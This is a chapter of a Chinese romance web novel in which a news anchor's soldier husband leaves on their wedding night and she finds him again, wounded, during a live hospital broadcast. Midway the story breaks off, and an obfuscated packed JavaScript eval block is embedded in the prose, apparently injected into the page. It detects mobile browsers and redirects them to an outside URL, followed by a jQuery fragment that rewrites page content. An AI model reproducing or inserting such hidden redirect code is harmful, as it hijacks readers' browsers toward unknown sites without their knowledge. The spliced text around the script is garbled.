“他们放你回来了？”
暖黄落地灯漫开半圈光晕，家属楼客厅沉在软和的光里。苏皖窝在沙发里，红绸吊带垂落肩线，长发松挽，露出一截细白脖颈。她抬眼望向玄关，微笑的唇露出几颗贝齿，声线轻得几乎贴在空气里。
八十平米的家属楼，单位分配的，两室一厅，不算阔绰，但他们觉得两个人住，刚刚好。从拿到钥匙开始布置，到婚礼前，处处填满两人的美好憧憬。浅米色墙面是她定的，沙发是他挑的，茶几上插着半开的花，花瓣上还凝着水汽。
玄关处的男人脱鞋，动作利落，鞋尖朝内摆得齐整。手机放在玄关台面，没换拖鞋，一双军袜踩在地板上，留下几个微微汗湿的脚印。他径直朝她走，目光落她身上，明亮而纯粹。
陆铮，二十七岁，最年轻的队长。一枚枚奖章，全是实打实拼出来的。身姿挺拔如松，眉眼轮廓锋利，周身气息沉敛，只在看向她时，软下一层边角。
婚礼办得简单。苏皖是半个公众人物，不想大办，也不想陆铮花销太大。于是，大院食堂，队员齐聚，双方父母长辈到场。虽然按要求不能喝酒，但雪碧果汁灌了好几瓶。她撑到后半段先回，留他一人应酬。
苏皖起身，步子轻浅，投入他怀里。
“爸妈送回酒店了？”她问，伸手去解他外衣扣子。镜头前的端庄，主播台的冷静，在他面前尽数卸下。
“嗯，我送完他们才回来。”他握住她嫩白的小手，扣在他腰间，反而去吻她的发顶。
苏皖伸手环住陆铮的腰，鼻尖蹭过他的衬衫，微凉布料裹着阳光与淡烟草的气息，是她最熟的安心味。
心跳还停在几小时前的仪式里——几桌亲友，一句承诺，没有铺张，却重过万千排场。
陆铮低头，掌心覆在她发顶，动作轻而稳。嗓音低沉，带着男人独有的笃定：“以后，我可以名正言顺护着你了。”
苏皖鼻尖微酸，把脸埋得更深。“是占有吧？”她呢喃。
中传播音科班出身，市级台晚间新闻主播，父母是县城教师，书香里长大，独立惯了，要强惯了。工作再难的现场、再重的压力，她都能独自接住。直到陆铮出现，她才知道，有人牵手的安稳。
“嗯，占有！你是我的。我也是你的。”他胸腔微微震动，喉咙溢出笑意。苏皖抬头，轻轻咬上那滚动的喉结。
这是他们的新婚夜。
全屋大红喜字贴得端正，是小队员们帮忙弄的，不精致，却暖。空气里浮着浅淡的喜糕甜香，窗外夜色沉落，屋内静得只剩彼此呼吸。
没有多余动作，只是相拥，便足够。
玄关上手机忽然震动。
无铃声，无提示，只有短促密集的震颤，在安静里格外清晰。
陆铮的身体一瞬绷紧。
眼底的温柔以极快的速度褪去，只剩刻进本能的冷峻。他松开她，大步走到玄关，拿起那部加密军用手机。
屏幕上只有一行简短指令。
他只看一眼，下颌线绷紧，唇线压成直线。
苏皖的心猛地一沉。
她太懂这个神情——不是集合，不是训练，不是例行检查。
“皖皖，我得走了。”
声音平静，却没有任何商量余地。
苏皖抬眼，刚染上的暖意瞬间僵住，眼眶微微泛红：“今天是我们……新婚夜。”
后半句，咽在喉间。
她是主播，理性刻进职业习惯，她懂职业担当。可她也是刚成婚的妻子，满心期待的相守，被瞬间打碎。不舍与慌意，在胸腔里拉扯。
“对不起。等我回来。”
陆铮拥住她，轻吻落在她红艳娇嫩的唇上，又深又重，一吻难分。随即，他转身，没有半分迟疑。
不解释任务，不透露地点，不承诺归期。不是冷漠，是纪律，是保密，是他身为指挥官的担当。有些事，不说，比说更沉重。
苏皖看着他。他面上平静，眼底深处的凝重，她看得清楚。
或许，是九死一生。
她张了张嘴，不能拦，不能问，不能拖他后腿。甚至，连那句“注意安全”都说不出口。
陆铮换了作训服，动作快而轻，尽量不发出声响。几十秒，已整装完毕。
走到门口，他忽然停步。
苏皖快步上前，从身后抱住他。
陆铮心口一紧，反手将她揽紧，像是要把这片刻温度全部烙进心底。下巴抵在她发顶，声音微哑：
“有事，找楼上嫂子。”
没有“我会回来”，没有“我保证”。
苏皖咬住唇，不让哭声溢出，只用力点头。泪水渗进他的作训服，晕开一小片湿痕。
门轻轻合上。
沉稳的脚步声渐远，楼下吉普车灯亮起，旋即消失在夜色里。
婚房灯光明亮，喜字依旧鲜艳，甜香还未散尽。可室温在他离开的那一瞬，骤然沉了下去。空荡，安静，冷得清晰。
苏皖环着手臂，指尖还留着他的温度。眼泪终于落下来，打湿掌心，打湿衣襟，打湿了本该圆满的夜晚。
她不知道他去向何处，不知道归期，不知道他将面对什么，更不知道，他还能不能回来。
她能做的，只有等。
这一等，就是三个月。
三个月，杳无音信。
常用手机始终关机，队里以保密为由，不透露任何消息。
苏皖照常上班，出镜，妆容规整，衣着得体，坐在主播台后，声音沉稳，吐字清晰，状态无懈可击。台里赞誉，同事敬佩，她是台里最稳的当家主播。
只有她自己知道，白日全是硬撑，夜晚彻夜难眠。
手机从不关机，音量调至最大，深夜数次惊醒，摸起手机确认无消息，再睁着眼到天亮。心悬在半空，无根无依，被担忧与慌意反复拉扯。
家属院的闲言碎语，避无可避。
都是家属，见惯分离，也见惯生死，话语直白，不留情面。
“新婚夜就走，三个月没影，怕是……”
“队里的男人，嫁了就是提心吊胆，说不定哪天就…”
“那么好的条件，嫁谁不好，偏嫁个随时拼命的。”
楼道里，台阶上，那些话一字不落地落进她耳中。也有人劝她趁早要个孩子，有个依靠。
每一句，都像细针，扎得心口发闷。她只低头快步走过，不辩解，不反驳，不哭闹。此后不再回家属院的新房。而是回到了自己婚前的小公寓。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211696|197427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不能慌，不能哭，不能倒。
她是苏皖，是冷静自持的新闻主播，是陆铮明媒正娶的妻子。她必须撑住，等他回来。
日子一天天熬着，就在快要撑不住时，台里下达特殊任务。
新年刚过，却来了一个医院专访。
对象：边境救援任务归来、身负重伤的英雄。
地点：市某特护医院。
形式：外景直播，受访者打码变声。
级别：台长亲自把关，全台最高优先级。
台长亲自找她，语气郑重：“这次直播，只有你去，我放心。上面希望通过采访，宣传边境救援成功事迹。”
苏皖没有犹豫，应下。
这是她的工作，职责，使命。心底压着万千思念，她也必须拿出最专业的状态。
出发前，她整理妆容，换上直播套装，调试话筒耳返，核对流程，每一处细节都做到极致。
直播车驶入特护医院，消毒水气息弥漫，空气里沉着重肃。
苏皖深吸一口气，面对镜头，露出标准得体的微笑。
“各位观众晚上好，这里是‘皖风’独家现场直播，我是主持人苏皖。我们现在所在的位置，是某特护疗养区，即将对话在边境救援任务中圆满完成任务、身负重伤的英雄……”
声音平稳，脚步从容，跟着医护人员走向特护病房区。
长廊洁白狭长，灯光冷亮，每一步，都像踩在心尖上。
她不知道病房里是谁，不知道英雄们经历过什么，更不知道，这场奉命执行的直播，会成为她三个月分离后，最猝不及防的重逢。
病房门被轻轻推开。
阳光从窗内斜洒进来，落在病床前。
苏皖按流程欠身，抬眼。
下一秒，声音戛然而止。
全世界的声响，仿佛瞬间抽离。
话筒在掌心一颤，几乎脱手。耳返里导播的声音，一句也听不进。
直播仍在继续，镜头清晰拍下她骤然发白的脸颊，微颤的指尖，泛红的眼尾，僵住不动的身体。
所有专业，所有冷静，所有镇定，在这一刻，尽数溃散。
病床上的男人，脸色苍白近乎透明，唇无血色，胸口裹着厚纱布，淡红血迹隐隐透出，手臂插着输液管，闭目静躺，眉宇间的锋利轮廓依旧清晰。
那张脸，那眉眼，那让她日夜悬心、朝思暮想的模样——
是陆铮。
是她新婚夜匆匆离别、三个月杳无音信的丈夫。
而她，以新闻主播的身份，在直播镜头前，第一次见到执行任务归来的他。
苏皖站在原地，眼泪毫无预兆地涌出，模糊视线。
她张了张嘴，想喊他的名字，想靠近，想问他疼不疼，却发不出任何声音。心脏像被一只手紧紧攥住，疼得无法呼吸。
镜头亮着，直播继续，千万观众在看。
她稳住气息，指尖用力掐住掌心，声线微涩，却依旧清晰，像初见时那般礼貌克制：
“陆队长，您好。”
病床上的人闻声一怔。
缓缓睁眼，猛地坐起。
伤口骤然拉扯，他指尖暗攥，硬生生撑住身体，面色不改，目光直直落在她身上。